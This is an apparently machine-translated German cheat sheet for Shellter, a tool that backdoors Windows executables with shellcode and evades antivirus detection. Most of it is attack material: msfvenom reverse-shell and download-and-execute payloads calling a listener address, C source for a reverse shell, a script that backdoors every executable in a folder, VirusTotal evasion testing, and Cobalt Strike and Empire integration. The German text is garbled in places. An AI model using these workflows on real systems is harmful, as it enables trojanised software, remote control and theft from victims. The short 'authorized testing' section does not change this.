Sheller Cheat Blatt¶
Überblick¶
Shellter ist ein dynamisches Shellcode-Injektionstool, um Shellcode in native Windows-Anwendungen durch anspruchsvolle PE (Portable Executable) Backdooring-Techniken injizieren. Entwickelt von Kyriakos Economou, Shellter stellt eine signifikante Weiterentwicklung der Antiviren-Evasion-Technologie durch dynamische Analyse und intelligente Injektionsmethoden, die Erkennung extrem schwierig für traditionelle Sicherheitslösungen machen. Im Gegensatz zu statischen Injektionswerkzeugen führt Shellter die Laufzeitanalyse von Zielanwendungen durch, um optimale Injektionspunkte und Ausführungsströme zu identifizieren.
Die Kerninnovation von Shellter liegt in ihrem dynamischen Ansatz zur PE-Modifikation. Anstatt Shellcode einfach an die Ausführbaren anzulegen oder vorhersehbare Injektionsmuster zu verwenden, analysiert Shellter den Ausführungsfluss der Zielanwendung während der Laufzeit, um geeignete Standorte für die Shellcode-Injektion zu identifizieren. Diese dynamische Analyse stellt sicher, dass der injizierte Code nahtlos in die Funktionalität der Original-Anwendung integriert wird, während Stealth beibehalten und gemeinsame Erkennungssignaturen vermieden werden, die von Antiviren-Motoren verwendet werden.
Shellter unterstützt sowohl automatische als auch manuelle Injektionsmodi und bietet Flexibilität für verschiedene Anwendungsfälle und Fähigkeiten. Der automatische Modus bedient den gesamten Einspritzvorgang intelligent, während der manuelle Modus den erfahrenen Benutzern ermöglicht, die Injektionsparameter für bestimmte Szenarien fein abzustimmen. Die Fähigkeit des Tools, die ursprüngliche Funktionalität der Anwendung zu erhalten, während das Hinzufügen von schädlichen Fähigkeiten macht es besonders wertvoll, überzeugende Trojaner-Anwendungen zu erstellen, die Sicherheitskontrollen umgehen und dauerhaften Zugang zu Zielsystemen herstellen können.
Installation¶
Windows Installation¶
Installieren von Shellter auf Windows-Systemen:
```bash
Download Shellter from official source¶
Visit: https://www.shellterproject.com/download/¶
Extract Shellter archive¶
unzip shellter.zip -d C:\Tools\Shellter
Navigate to Shellter directory¶
cd C:\Tools\Shellter
Verify installation¶
shellter.exe --help
Install Visual C++ Redistributables (if needed)¶
Download from Microsoft official site¶
```_
Linux Installation (Wine)¶
Laufen Shellter auf Linux mit Wein:
```bash
Install Wine¶
sudo apt update sudo apt install wine winetricks
Configure Wine¶
winecfg
Install Visual C++ Redistributables¶
winetricks vcrun2019
Download and extract Shellter¶
wget https://www.shellterproject.com/shellter/latest/shellter.zip unzip shellter.zip -d ~/shellter
Run Shellter through Wine¶
cd ~/shellter wine shellter.exe ```_
Docker Umwelt¶
```bash
Create Dockerfile for Shellter¶
cat > Dockerfile << 'EOF' FROM ubuntu:20.04 RUN apt-get update && apt-get install -y wine COPY shellter/ /opt/shellter/ WORKDIR /opt/shellter CMD ["wine", "shellter.exe"] EOF
Build container¶
docker build -t shellter .
Run Shellter in container¶
docker run -it -v $(pwd):/workspace shellter ```_
Basisnutzung¶
Automatischer Modus¶
Verwenden von Shellter im automatischen Modus:
```bash
Start Shellter in automatic mode¶
shellter.exe
Select operation mode¶
A # Automatic mode
Choose PE target¶
C:\path\to\target.exe
Enable stealth mode¶
Y # Yes to stealth mode
Select payload type¶
L # Listed payloads 1 # Meterpreter_Reverse_TCP
Configure payload parameters¶
LHOST: 192.168.1.100 LPORT: 4444
Verify injection¶
Shellter will automatically inject and save backdoored executable¶
```_
Betriebsart¶
Verwenden von Shellter im manuellen Modus für fortgeschrittene Steuerung:
```bash
Start Shellter in manual mode¶
shellter.exe
Select operation mode¶
M # Manual mode
Choose PE target¶
C:\path\to\target.exe
Analyze target application¶
Shellter will perform dynamic analysis¶
Select injection method¶
1 # IAT Hooking 2 # Inline Hooking 3 # Thread Hijacking
Choose injection point¶
Select from available locations¶
Provide custom shellcode¶
C:\path\to\custom_shellcode.bin
Configure injection parameters¶
Set specific options based on analysis¶
```_
Stealth Mode¶
Enabling erweiterte Stealth-Funktionen:
```bash
Enable stealth mode during injection¶
Y # Enable stealth mode
Polymorphic engine options¶
Y # Enable polymorphic engine
Anti-emulation techniques¶
Y # Enable anti-emulation
Junk code insertion¶
Y # Insert junk code
Control flow obfuscation¶
Y # Enable CFO ```_
Erweiterte Funktionen¶
Benutzerdefinierte Shellcode Injektion¶
Injizieren von benutzerdefinierten Shellcode Nutzlasten:
```bash
Generate custom shellcode with msfvenom¶
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > custom_payload.bin
Use custom shellcode in Shellter¶
shellter.exe M # Manual mode C:\target\application.exe C # Custom shellcode C:\path\to\custom_payload.bin
Configure injection parameters¶
Select optimal injection point¶
Apply stealth techniques¶
```_
Multi-Stage Payloads¶
Ausführung mehrstufiger Nutzlastlieferung:
```bash
Create stage 1 payload (small downloader)¶
msfvenom -p windows/download_exec URL=http://192.168.1.100/stage2.exe -f raw > stage1.bin
Inject stage 1 with Shellter¶
shellter.exe A # Automatic mode C:\target\application.exe Y # Stealth mode C # Custom payload C:\path\to\stage1.bin
Host stage 2 payload¶
python3 -m http.server 80 ```_
Polymorphe Injektion¶
Verwendung polymorpher Techniken zur Evasion:
```bash
Enable polymorphic engine¶
shellter.exe A # Automatic mode C:\target\application.exe Y # Stealth mode Y # Polymorphic engine
Configure polymorphic options¶
3 # High polymorphism level Y # Enable junk code insertion Y # Enable instruction substitution Y # Enable dead code insertion ```_
Anti-Analyse-Funktionen¶
Durchführung von Antianalyseverfahren:
```bash
Enable anti-debugging¶
Y # Anti-debugging techniques
Enable anti-VM detection¶
Y # Anti-virtualization
Enable anti-emulation¶
Y # Anti-emulation techniques
Enable sandbox evasion¶
Y # Sandbox evasion
Configure timing delays¶
5000 # Milliseconds delay before execution ```_
Nutzlasterzeugung¶
Metasploit Integration¶
Erzeugen von Nutzlasten für Shellter Injektion:
```bash
Generate reverse TCP payload¶
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > meterpreter.bin
Generate reverse HTTPS payload¶
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f raw > meterpreter_https.bin
Generate bind TCP payload¶
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f raw > meterpreter_bind.bin
Generate encoded payload¶
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f raw > encoded_payload.bin ```_
Entwicklung der Nutzlast¶
Erstellen von benutzerdefinierten Payloads für Injektion:
```c // Simple reverse shell payload
include ¶
include ¶
void reverse_shell() \\{ WSADATA wsaData; SOCKET s; struct sockaddr_in server;
WSAStartup(MAKEWORD(2,2), &wsaData);
s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
server.sin_family = AF_INET;
server.sin_port = htons(4444);
server.sin_addr.s_addr = inet_addr("192.168.1.100");
connect(s, (struct sockaddr *)&server, sizeof(server));
// Duplicate handles for cmd.exe
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
\\} ```_
Belastbarkeitscodierung¶
Kodierung von Nutzlasten für Evasion:
```bash
XOR encoding¶
python3 -c " import sys key = 0xAA with open('payload.bin', 'rb') as f: data = f.read() encoded = bytes([b ^ key for b in data]) with open('encoded_payload.bin', 'wb') as f: f.write(encoded) "
Base64 encoding¶
base64 -w 0 payload.bin > payload_b64.txt
Custom encoding script¶
python3 encode_payload.py payload.bin encoded_payload.bin ```_
Automatisierungsskripte¶
Batch Processing¶
```bash
!/bin/bash¶
Shellter batch processing script¶
TARGET_DIR="targets" OUTPUT_DIR="backdoored" PAYLOAD_FILE="payload.bin"
mkdir -p $OUTPUT_DIR
echo "Starting batch Shellter processing"
for exe_file in \(TARGET_DIR/*.exe; do filename=\)(basename "\(exe_file") output_file="\)OUTPUT_DIR/backdoored_$filename"
echo "Processing: $filename"
# Create Shellter automation script
cat > shellter_auto.txt << EOF
A $exe_file Y C $PAYLOAD_FILE $output_file EOF
# Run Shellter with automation
wine shellter.exe < shellter_auto.txt
echo "Completed: $filename"
done
echo "Batch processing completed" ```_
Prüfung der Nutzlast¶
```python
!/usr/bin/env python3¶
Shellter payload testing script¶
import subprocess import os import time
class ShellterTester: def init(self, shellter_path, target_exe): self.shellter_path = shellter_path self.target_exe = target_exe self.results = []
def test_payload(self, payload_file, output_file):
"""Test payload injection with Shellter"""
# Create automation script
automation_script = f"""A
\\{self.target_exe\\} Y C \\{payload_file\\} \\{output_file\\} """
try:
# Run Shellter
process = subprocess.Popen(
[self.shellter_path],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
stdout, stderr = process.communicate(automation_script)
# Check if injection was successful
if os.path.exists(output_file):
file_size = os.path.getsize(output_file)
self.results.append(\\\\{
'payload': payload_file,
'output': output_file,
'success': True,
'size': file_size
\\\\})
return True
else:
self.results.append(\\\\{
'payload': payload_file,
'output': output_file,
'success': False,
'error': stderr
\\\\})
return False
except Exception as e:
print(f"Error testing payload \\\\{payload_file\\\\}: \\\\{e\\\\}")
return False
def generate_report(self):
"""Generate test report"""
print("Shellter Testing Report")
print("=" * 50)
for result in self.results:
print(f"Payload: \\\\{result['payload']\\\\}")
print(f"Success: \\\\{result['success']\\\\}")
if result['success']:
print(f"Output Size: \\\\{result['size']\\\\} bytes")
else:
print(f"Error: \\\\{result.get('error', 'Unknown')\\\\}")
print("-" * 30)
Usage¶
tester = ShellterTester("wine shellter.exe", "target.exe") tester.test_payload("payload1.bin", "backdoored1.exe") tester.test_payload("payload2.bin", "backdoored2.exe") tester.generate_report() ```_
AV Evasion Testing¶
```python
!/usr/bin/env python3¶
Antivirus evasion testing for Shellter¶
import requests import hashlib import time
class AVEvasionTester: def init(self, vt_api_key): self.vt_api_key = vt_api_key self.base_url = "https://www.virustotal.com/vtapi/v2"
def upload_file(self, file_path):
"""Upload file to VirusTotal"""
url = f"\\\\{self.base_url\\\\}/file/scan"
with open(file_path, 'rb') as f:
files = \\\\{'file': f\\\\}
params = \\\\{'apikey': self.vt_api_key\\\\}
response = requests.post(url, files=files, params=params)
if response.status_code == 200:
return response.json()['scan_id']
else:
return None
def get_report(self, scan_id):
"""Get scan report from VirusTotal"""
url = f"\\\\{self.base_url\\\\}/file/report"
params = \\\\{'apikey': self.vt_api_key, 'resource': scan_id\\\\}
response = requests.get(url, params=params)
if response.status_code == 200:
return response.json()
else:
return None
def test_evasion(self, file_path):
"""Test file against multiple AV engines"""
print(f"Testing evasion for: \\\\{file_path\\\\}")
# Upload file
scan_id = self.upload_file(file_path)
if not scan_id:
print("Failed to upload file")
return None
# Wait for scan completion
print("Waiting for scan completion...")
time.sleep(60)
# Get report
report = self.get_report(scan_id)
if report and report['response_code'] == 1:
positives = report['positives']
total = report['total']
print(f"Detection rate: \\\\{positives\\\\}/\\\\{total\\\\}")
print(f"Evasion rate: \\\\{((total - positives) / total) * 100:.2f\\\\}%")
return \\\\{
'file': file_path,
'positives': positives,
'total': total,
'evasion_rate': ((total - positives) / total) * 100
\\\\}
return None
Usage¶
tester = AVEvasionTester("your_vt_api_key") result = tester.test_evasion("backdoored_app.exe") ```_
Integrationsbeispiele¶
Metasploit Integration¶
```ruby
Metasploit module for Shellter automation¶
require 'msf/core'
class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report
def initialize(info = \\{\\}) super(update_info(info, 'Name' => 'Shellter Automatic Backdoor Generation', 'Description' => 'Automates Shellter for PE backdooring', 'Author' => ['Your Name'], 'License' => MSF_LICENSE ))
register_options([
OptString.new('TARGET_EXE', [true, 'Target executable path']),
OptString.new('LHOST', [true, 'Listener host']),
OptInt.new('LPORT', [true, 'Listener port', 4444])
])
end
def run target_exe = datastore['TARGET_EXE'] lhost = datastore['LHOST'] lport = datastore['LPORT']
print_status("Generating payload...")
# Generate payload
payload_data = generate_payload_exe(\\\\{
'Format' => 'raw',
'Options' => \\\\{
'LHOST' => lhost,
'LPORT' => lport
\\\\}
\\\\})
# Save payload to file
payload_file = "/tmp/payload.bin"
File.write(payload_file, payload_data)
# Run Shellter
print_status("Running Shellter...")
automation_script = "A\n#\\\\{target_exe\\\\}\nY\nC\n#\\\\{payload_file\\\\}\n"
cmd = "echo '#\\\\{automation_script\\\\}'|wine shellter.exe"
system(cmd)
print_good("Backdoor generation completed")
end end ```_
Cobalt Strike Integration¶
```bash
!/bin/bash¶
Cobalt Strike and Shellter integration¶
CS_HOST="192.168.1.100" CS_PORT="50050" TARGET_EXE="legitimate_app.exe"
Generate Cobalt Strike beacon¶
echo "Generating Cobalt Strike beacon..." ./cobaltstrike/beacon_generator.sh -h $CS_HOST -p $CS_PORT -o beacon.bin
Use Shellter to inject beacon¶
echo "Injecting beacon with Shellter..." cat > shellter_automation.txt << EOF A $TARGET_EXE Y C beacon.bin backdoored_app.exe EOF
wine shellter.exe < shellter_automation.txt
echo "Backdoored application created: backdoored_app.exe" ```_
Integrieren der Welt¶
```python
!/usr/bin/env python3¶
Empire and Shellter integration¶
import requests import base64
class EmpireShellterIntegration: def init(self, empire_url, empire_token): self.empire_url = empire_url self.headers = \\{'Authorization': f'Bearer \\{empire_token\\}'\\}
def generate_stager(self, listener_name):
"""Generate Empire stager"""
url = f"\\\\{self.empire_url\\\\}/api/stagers"
data = \\\\{
'StagerName': 'windows/launcher_bat',
'Listener': listener_name
\\\\}
response = requests.post(url, json=data, headers=self.headers)
if response.status_code == 200:
stager_data = response.json()
return base64.b64decode(stager_data['Output'])
return None
def create_shellter_payload(self, stager_data, target_exe):
"""Create Shellter payload with Empire stager"""
# Save stager to file
with open('empire_stager.bin', 'wb') as f:
f.write(stager_data)
# Create Shellter automation script
automation_script = f"""A
\\{target_exe\\} Y C empire_stager.bin empire_backdoored.exe """
# Execute Shellter
import subprocess
process = subprocess.Popen(
['wine', 'shellter.exe'],
stdin=subprocess.PIPE,
text=True
)
process.communicate(automation_script)
return 'empire_backdoored.exe'
Usage¶
integration = EmpireShellterIntegration("http://empire-server:1337", "your_token") stager = integration.generate_stager("http_listener") backdoored_exe = integration.create_shellter_payload(stager, "target.exe") ```_
Fehlerbehebung¶
Gemeinsame Themen¶
Windkompatibilität Ausgaben: ```bash
Install required Wine components¶
winetricks vcrun2019 corefonts
Configure Wine for Windows 10¶
winecfg
Set Windows version to Windows 10¶
Install additional dependencies¶
winetricks d3dx9 vcrun2017 dotnet48
Check Wine logs¶
export WINEDEBUG=+all wine shellter.exe ```_
** Fehler bei der Analyse:** ```bash
Verify target executable¶
file target.exe
Check PE structure¶
objdump -p target.exe
Verify executable permissions¶
chmod +x target.exe
Test with different target¶
Some packed executables may not work¶
```_
** Injektionsfehler:** ```bash
Check payload size¶
ls -la payload.bin
Verify payload format¶
hexdump -C payload.bin|head
Test with smaller payload¶
msfvenom -p windows/exec CMD=calc.exe -f raw > test_payload.bin
Use manual mode for better control¶
Select different injection points¶
```_
Debugging¶
Debugging aktivieren:
```bash
Enable Wine debugging¶
export WINEDEBUG=+dll,+module wine shellter.exe
Monitor file operations¶
strace -e trace=file wine shellter.exe
Check system resources¶
top -p $(pgrep wine)
Monitor network activity¶
netstat -an|grep wine ```_
Sicherheitsüberlegungen¶
Operationelle Sicherheit¶
**File Handling: ** - Verwenden Sie isolierte Testumgebungen - Sicheres Löschen von temporären Dateien - Verschlüsseln Sie den Nutzlastspeicher - Dateizugriffsprotokolle überwachen - Regelmäßige Reinigungsverfahren
Netzwerksicherheit: - Verwenden Sie VPN für die Lieferung von Payload - Implementierung der Verkehrsverschlüsselung - Monitor zur Erkennung - Verwenden Sie legitim aussehende Domains - Regelmäßige Infrastrukturdrehung
Rechtliche und ethische Überlegungen¶
Authorized Testing Only: - ordnungsgemäße schriftliche Genehmigung erhalten - Definieren Sie klare Grenzen - Alle Aktivitäten - Verantwortliche Offenlegung - Überprüfung der Systemintegrität
Beste Praktiken: - Verwendung in kontrollierten Umgebungen - Regelmäßige Sicherheitsbewertungen - Durchführung von Nachweismaßnahmen - Monitor für unbefugte Nutzung - Bewahren Sie Audit-Strecken
Referenzen¶
- [Shellter Offizielle Website](LINK_5_
- PE Formatdokumentation
- Antivirus Evasion Techniques
- Dynamic Analysis Methods
- [Windows Malware Analysis](LINK_5_